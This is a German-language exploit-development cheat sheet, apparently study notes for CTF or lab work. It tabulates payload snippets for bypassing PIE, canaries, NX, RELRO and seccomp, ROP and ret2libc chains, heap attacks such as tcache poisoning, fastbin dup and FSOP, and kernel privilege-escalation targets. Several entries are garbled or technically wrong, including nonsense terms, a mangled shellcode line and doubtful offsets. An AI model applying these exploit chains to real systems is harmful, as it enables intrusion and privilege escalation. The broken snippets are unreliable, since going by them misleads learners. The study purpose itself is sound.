

Exploit Dev - Mitigations & Elite Lernzettel

Alle Bypass-Code-Befehle von Basic-Win ueber Hardcore-Mitigations (PIE/NX/Canary/RELRO/SecComp) bis zu Elite-Heap-Techniken und Kernel-Elite. Jede Zeile = ein Baustein.

1. MITIGATIONIS & USERLAND-BYPASS (Full Prot)

Syntax	What it does	Code - use it like this
-no-pie / PIE	PIE an: Basis leaken.	PIE_BASE = leak - offset
Canary	leaken + wiederverwenden.	payload = 'A'*72 + p64(canary) + 'B'*8 + chain
NX	kein Shellcode auf Stack ohne RWX -> ROP oder mprotect.	ROP allein oder mprotect(page,0x3000,7)
Full RELRO	GOT schreibgeschuetzt -> kein GOT-Overwrite.	ret2libc/ROP statt GOT-Patch
leaks per Format-String	%n\$p liefert Werte.	'%15\$p' = Canary; '%17\$p' = PIE ret
ret2libc	system+pop rdi->/bin/sh aus libc.	[pop_rdi][binsh][system]
Return-into-mprotect	Stack RWX machen.	[pop_rdi][page][pop_rsi][0x3000][pop_rdx][7][mprotect]
Stack-exec-Shellcode	nach mprotect sprung.	chain += p64(stack_leak+off+shellcode)
PIE/GOT-Adresse	%n\$p spezifisch.	arg '%15\$p=canary, %17\$p=ret(main)
libc-Offset	libc-Basis aus Leak.	LIBC_BASE = libc_leak - 0x2a1ca

2. SECCOMP-BYPASS (kein execve /bin/sh)

Syntax	What it does	Code - use it like this
Seccomp-Aufbau	BPF-Filter: nur open/read/write erlaubt.	BPF_JUMP(...__NR_open...) -> KILL
prctl installieren	Ring3 haertet sich selbst.	prctl(PR_SET_NO_NEW_PRIVS,1); prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &prog);
ORW-Shellcode	open->read->write flag.txt statt Shell.	mov rax,2; syscall; mov rax,0; syscall(rdi,rip+buf,rsi,0x100,rdx); mov rax,1; write
open Syscall	eax=2.	rax=2, rdi=&flag;, mode=0
read Syscall	eax=0 nach fd.	rax=0, rdi=fd, rsi=buf, edx=0x100
write Syscall	eax=1.	rax=1, edi=1(STDOUT), rsi=buf, edx=0x100
execve blockiert	Seccomp killt __NR_execve.	deshalb ORW statt Shell
Retry bei 0x0a	gets() stoppt bei Newline.	if 0x0a in payload: retry
LOCAL-Gadgets	pop rdi/rsi/rdx aus libc.	0x10c08d / 0x110b7d / 0x0b513c

3. HEAP - UAF (Level 1)

Syntax	What it does	Code - use it like this
Struct + Functions-Ptr	UAF: Objekt bleibt nach free nutzbar.	User { char *name; void (*fn)(); };
free ohne NULL	dangling pointer.	free(users[i]);
Ueber-schreiben	Objekt mit win-Fn belegen.	malloc(gleiche Groesse); fname->name=shel
Reclaim	Fake-Objekt in frei Chunk legen.	payload = Name 32B + fn=system
Edit-free	edit nach free -> write-after-free.	uaf: edit auf freien Chunk

4. HEAP - DOUBLE FREE (Level 2)

Syntax	What it does	Code - use it like this
Double-Free Idee	2x free -> Freelist-Duplikat -> 2 Zuweisungen auf selben Chunk.	free(a); free(b); free(a);
ktcache/Per-CPU	gleiche-groesse Chunks.	malloc(a); malloc(b);
Folge	einen davon beschreiben -> anderer zeigt dann.	p->fn = system trigger
Poison	Freelist-Kopf umbiegen.	*(chunk) = target

5. HEAP - TCACHE POISON (Level 3)

Syntax	What it does	Code - use it like this
Tcache-Entries	pro-Groesse Liste, kein Sicherheitscheck.	Freelist als Singly-Linked-List
Tcache-Poison	fd des freien Chunks ueberschreiben.	*(free_chunk+8) = __free_hook - 0x10
__free_hook / malloc_hook	auf zeiger umbiegen -> system.	_free_hook = system
Fake-Chunk	Timer/Double-Free in tcache.	dbl=PATCH(__free_hook)
Alignment	hook - 0x10 wegen metadata.	addr = __free_hook - 0x10

6. HEAP - FASTBIN DUP (Level 4)

Syntax	What it does	Code - use it like this
Fastbin	small chunks (<=0x80), LIFO, kein consolidation.	fastbin[0x70] Liste
Fastbin-Dup	double free gleicher chunk -> 2x gleicher.	free(chunk); free(chunk);
Count-Check	Fastbin tut max double.	need 1 dummy dazwischen
Hijack	einer landet auf __malloc_hook.	alloc -> write __malloc_hook
Attack	malloc_hook=one_gadget.	one_gadget libc

7. HEAP - UNSORTED LEAK (Level 5)

Syntax	What it does	Code - use it like this
Unsorted Bin	freie grosse Chunks (main_arena ptr).	free(grosser chunk) -> unsorted
Leak	fd/Bk zeigt auf main_arena+88.	read: *(found_main_arena)
libc-Basis	main_arena off -> libc.	LIBC_BASE = leak - main_arena_off
Consolidation	Top-Chunk zusammenfassen.	small->unsorted
Tcache-Ueberlauf	2 grosse gleich -> malloc_consolidate.	--

8. HEAP - ADVANCED / ELITE (Level 6)

Syntax	What it does	Code - use it like this
Advanced: House of ...	Ein Risiko-seines: Tcache, Fastbin, Unsorted kombiniert.	je nach Zieladresse
Fake-Freed auf Stack	Chunk zeigt auf Stack -> Stack-Write.	target = ret-addr auf Stack
Large-Bin	gross dummies fuer fd/bk-search.	largebin Attack
Tcache-Stashing/Fastbin-Dup kombiniert	Malloc nach vorher gefluteten Caches.	--
Edit/Free/Edit-Orchestrator	Datenfluss steuern.	von klein anfangen, skalieren
Elite-Mailstab	OOB-Write -> Chunk-Header faelschen -> Chunk kontrollieren.	size_prev/fd/bk falten
FSOP	_IO_list_all -> vtable (sehr Elite).	_IO_FILE mit vtable=system

9. KERNEL-ELITE (Advanced/Expert/Beneker-Labs)

Syntax	What it does	Code - use it like this
Return-Thunk-Filter	RT-callsites aus Gadget-Scan werfen.	<code>if(rel->__x86_return_thunk) bad=1</code>
retbleed-Check	kein rthunk-Symbol -> alle e9 werfen.	<code>if(!rthunk) bad=1</code>
GIDX	gewuenshtes match.	<code>GIDX=3 ./exploit</code>
SLAB_FREELIST_HARDENED+SMEP+SMAP	UAF-Ring bleibt (handler@offset 0).	<code>commit_creds(&init;_cred)</code>
modprobe_path	alternative win.	<code>write root -> modprobe_path</code>
Coccinelle	regel-basiertes static Vuln-Scan.	<code>@rule / @@ ...</code>
vroot-overflow.cocci	stack-overflow in ioctl finden.	<code>int fang vroot driver</code>
hroot-uaf.cocci	UAF crosscase finden.	<code>free dann usen</code>
find-overflows.py	AST-w-funktionssignatur-heuristik.	<code>AST parse c</code>
boot.sh --gdb	Stub fuer Kernel-Reversing.	<code>gdb vmlinux; target remote :1234</code>
KASAN	exakte Bug statt Oops.	<code>scripts/config --enable KASAN</code>
syzkaller-Deskription	fuzzzen gezielt.	<code>ioctl\$vroot(fd,cmd const[0x1337],arg)</code>